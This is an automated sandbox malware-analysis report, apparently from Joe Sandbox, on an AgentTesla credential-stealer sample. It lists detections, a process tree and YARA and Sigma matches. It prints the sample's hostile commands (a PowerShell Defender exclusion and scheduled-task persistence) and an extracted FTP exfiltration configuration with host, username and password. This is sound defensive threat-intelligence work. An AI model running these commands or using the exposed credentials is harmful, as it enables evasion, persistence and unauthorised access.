Edit tour

Windows Analysis Report
hesaphareketi-.exe

Overview

General Information

Sample name:	hesaphareketi-.exe
Analysis ID:	1463493
MD5:	d8aa0c3eaed283b8d78298748900f395
SHA1:	9899cc61cb992dcfe49a04f4a4209852713b4ab5
SHA256:	ce51bc85fa9cf4a581de693c5901e0c03fff712c40f723009e393bad1a18d014
Tags:	AgentTeslaexegeoTUR
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Snort IDS alert for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

.NET source code contains very large array initializations

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Contains functionality to log keystrokes (.Net Source)

Installs a global keyboard hook

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses FTP

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

hesaphareketi-.exe (PID: 6516 cmdline: "C:\Users\user\Desktop\hesaphareketi-.exe" MD5: D8AA0C3EAED283B8D78298748900F395)

powershell.exe (PID: 3524 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hesaphareketi-.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 5800 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 2780 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7096 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpE555.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

hesaphareketi-.exe (PID: 5300 cmdline: "C:\Users\user\Desktop\hesaphareketi-.exe" MD5: D8AA0C3EAED283B8D78298748900F395)

xyodEPhulIrkY.exe (PID: 2828 cmdline: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe MD5: D8AA0C3EAED283B8D78298748900F395)

schtasks.exe (PID: 4724 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpBF7D.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

xyodEPhulIrkY.exe (PID: 1628 cmdline: "C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe" MD5: D8AA0C3EAED283B8D78298748900F395)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.normagroup.com.tr", "Username": "admins@normagroup.com.tr", "Password": "ab+LNvim5PAo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000002.4492600143.0000000002CFE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.4487969528.0000000000403000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.4487969528.0000000000403000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2100310326.0000000003645000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2100310326.0000000003645000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.4492018819.000000000304E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2069027456.0000000003474000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2069027456.0000000003474000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000D.00000002.4492600143.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.4492600143.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000008.00000002.4492018819.0000000003001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.4492018819.0000000003001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: hesaphareketi-.exe PID: 6516	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: hesaphareketi-.exe PID: 6516	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: hesaphareketi-.exe PID: 6516	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: hesaphareketi-.exe PID: 5300	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: hesaphareketi-.exe PID: 5300	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: xyodEPhulIrkY.exe PID: 2828	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: xyodEPhulIrkY.exe PID: 2828	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: xyodEPhulIrkY.exe PID: 2828	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: xyodEPhulIrkY.exe PID: 1628	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: xyodEPhulIrkY.exe PID: 1628	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.hesaphareketi-.exe.3474e08.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.hesaphareketi-.exe.3474e08.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.hesaphareketi-.exe.3474e08.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3122b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3129d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31327:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x313b9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31423:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31495:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3152b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x315bb:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.hesaphareketi-.exe.3474e08.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e6ae:$s2: GetPrivateProfileString 0x2dd58:$s3: get_OSFullName 0x2f3ea:$s5: remove_Key 0x2f58f:$s5: remove_Key 0x30458:$s6: FtpWebRequest 0x3120d:$s7: logins 0x3177f:$s7: logins 0x34490:$s7: logins 0x34542:$s7: logins 0x35e3e:$s7: logins 0x350dc:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xyodEPhulIrkY.exe.3645378.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xyodEPhulIrkY.exe.3645378.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xyodEPhulIrkY.exe.3645378.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3122b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3129d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31327:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x313b9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31423:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31495:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3152b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x315bb:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.xyodEPhulIrkY.exe.3645378.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e6ae:$s2: GetPrivateProfileString 0x2dd58:$s3: get_OSFullName 0x2f3ea:$s5: remove_Key 0x2f58f:$s5: remove_Key 0x30458:$s6: FtpWebRequest 0x3120d:$s7: logins 0x3177f:$s7: logins 0x34490:$s7: logins 0x34542:$s7: logins 0x35e3e:$s7: logins 0x350dc:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.hesaphareketi-.exe.34af428.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.hesaphareketi-.exe.34af428.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.hesaphareketi-.exe.34af428.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3122b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3129d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31327:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x313b9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31423:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31495:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3152b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x315bb:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.hesaphareketi-.exe.34af428.1.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e6ae:$s2: GetPrivateProfileString 0x2dd58:$s3: get_OSFullName 0x2f3ea:$s5: remove_Key 0x2f58f:$s5: remove_Key 0x30458:$s6: FtpWebRequest 0x3120d:$s7: logins 0x3177f:$s7: logins 0x34490:$s7: logins 0x34542:$s7: logins 0x35e3e:$s7: logins 0x350dc:$s9: 1.85 (Hash, version 2, native byte-order)
8.2.hesaphareketi-.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.hesaphareketi-.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
8.2.hesaphareketi-.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3302b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3309d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33127:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331b9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33223:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33295:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3332b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333bb:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
8.2.hesaphareketi-.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x304ae:$s2: GetPrivateProfileString 0x2fb58:$s3: get_OSFullName 0x311ea:$s5: remove_Key 0x3138f:$s5: remove_Key 0x32258:$s6: FtpWebRequest 0x3300d:$s7: logins 0x3357f:$s7: logins 0x36290:$s7: logins 0x36342:$s7: logins 0x37c3e:$s7: logins 0x36edc:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xyodEPhulIrkY.exe.367f998.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xyodEPhulIrkY.exe.367f998.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xyodEPhulIrkY.exe.367f998.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3122b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3129d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31327:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x313b9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31423:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31495:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3152b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x315bb:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.xyodEPhulIrkY.exe.367f998.3.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e6ae:$s2: GetPrivateProfileString 0x2dd58:$s3: get_OSFullName 0x2f3ea:$s5: remove_Key 0x2f58f:$s5: remove_Key 0x30458:$s6: FtpWebRequest 0x3120d:$s7: logins 0x3177f:$s7: logins 0x34490:$s7: logins 0x34542:$s7: logins 0x35e3e:$s7: logins 0x350dc:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.hesaphareketi-.exe.34af428.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.hesaphareketi-.exe.34af428.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.hesaphareketi-.exe.34af428.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3302b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6d44b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3309d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6d4bd:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33127:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6d547:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331b9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6d5d9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33223:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6d643:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33295:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6d6b5:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3332b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6d74b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333bb:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6d7db:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.hesaphareketi-.exe.34af428.1.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x304ae:$s2: GetPrivateProfileString 0x6a8ce:$s2: GetPrivateProfileString 0x2fb58:$s3: get_OSFullName 0x69f78:$s3: get_OSFullName 0x311ea:$s5: remove_Key 0x3138f:$s5: remove_Key 0x6b60a:$s5: remove_Key 0x6b7af:$s5: remove_Key 0x32258:$s6: FtpWebRequest 0x6c678:$s6: FtpWebRequest 0x3300d:$s7: logins 0x3357f:$s7: logins 0x36290:$s7: logins 0x36342:$s7: logins 0x37c3e:$s7: logins 0x6d42d:$s7: logins 0x6d99f:$s7: logins 0x706b0:$s7: logins 0x70762:$s7: logins 0x7205e:$s7: logins 0x36edc:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xyodEPhulIrkY.exe.367f998.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xyodEPhulIrkY.exe.367f998.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xyodEPhulIrkY.exe.367f998.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3302b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6d44b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3309d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6d4bd:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33127:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6d547:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331b9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6d5d9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33223:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6d643:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33295:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6d6b5:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3332b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6d74b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333bb:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6d7db:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.xyodEPhulIrkY.exe.367f998.3.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x304ae:$s2: GetPrivateProfileString 0x6a8ce:$s2: GetPrivateProfileString 0x2fb58:$s3: get_OSFullName 0x69f78:$s3: get_OSFullName 0x311ea:$s5: remove_Key 0x3138f:$s5: remove_Key 0x6b60a:$s5: remove_Key 0x6b7af:$s5: remove_Key 0x32258:$s6: FtpWebRequest 0x6c678:$s6: FtpWebRequest 0x3300d:$s7: logins 0x3357f:$s7: logins 0x36290:$s7: logins 0x36342:$s7: logins 0x37c3e:$s7: logins 0x6d42d:$s7: logins 0x6d99f:$s7: logins 0x706b0:$s7: logins 0x70762:$s7: logins 0x7205e:$s7: logins 0x36edc:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xyodEPhulIrkY.exe.3645378.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xyodEPhulIrkY.exe.3645378.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xyodEPhulIrkY.exe.3645378.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3302b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6d64b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa7a6b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3309d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6d6bd:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa7add:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33127:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6d747:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa7b67:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331b9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6d7d9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa7bf9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33223:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6d843:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa7c63:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33295:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6d8b5:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa7cd5:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3332b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6d94b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa7d6b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
9.2.xyodEPhulIrkY.exe.3645378.0.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x304ae:$s2: GetPrivateProfileString 0x6aace:$s2: GetPrivateProfileString 0xa4eee:$s2: GetPrivateProfileString 0x2fb58:$s3: get_OSFullName 0x6a178:$s3: get_OSFullName 0xa4598:$s3: get_OSFullName 0x311ea:$s5: remove_Key 0x3138f:$s5: remove_Key 0x6b80a:$s5: remove_Key 0x6b9af:$s5: remove_Key 0xa5c2a:$s5: remove_Key 0xa5dcf:$s5: remove_Key 0x32258:$s6: FtpWebRequest 0x6c878:$s6: FtpWebRequest 0xa6c98:$s6: FtpWebRequest 0x3300d:$s7: logins 0x3357f:$s7: logins 0x36290:$s7: logins 0x36342:$s7: logins 0x37c3e:$s7: logins 0x6d62d:$s7: logins
0.2.hesaphareketi-.exe.3474e08.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.hesaphareketi-.exe.3474e08.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.hesaphareketi-.exe.3474e08.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3302b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6d64b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa7a6b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3309d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6d6bd:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa7add:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33127:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6d747:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa7b67:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331b9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6d7d9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa7bf9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33223:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6d843:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa7c63:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33295:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6d8b5:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa7cd5:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3332b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6d94b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa7d6b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
0.2.hesaphareketi-.exe.3474e08.0.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x304ae:$s2: GetPrivateProfileString 0x6aace:$s2: GetPrivateProfileString 0xa4eee:$s2: GetPrivateProfileString 0x2fb58:$s3: get_OSFullName 0x6a178:$s3: get_OSFullName 0xa4598:$s3: get_OSFullName 0x311ea:$s5: remove_Key 0x3138f:$s5: remove_Key 0x6b80a:$s5: remove_Key 0x6b9af:$s5: remove_Key 0xa5c2a:$s5: remove_Key 0xa5dcf:$s5: remove_Key 0x32258:$s6: FtpWebRequest 0x6c878:$s6: FtpWebRequest 0xa6c98:$s6: FtpWebRequest 0x3300d:$s7: logins 0x3357f:$s7: logins 0x36290:$s7: logins 0x36342:$s7: logins 0x37c3e:$s7: logins 0x6d62d:$s7: logins
Click to see the 31 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hesaphareketi-.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hesaphareketi-.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\hesaphareketi-.exe", ParentImage: C:\Users\user\Desktop\hesaphareketi-.exe, ParentProcessId: 6516, ParentProcessName: hesaphareketi-.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hesaphareketi-.exe", ProcessId: 3524, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

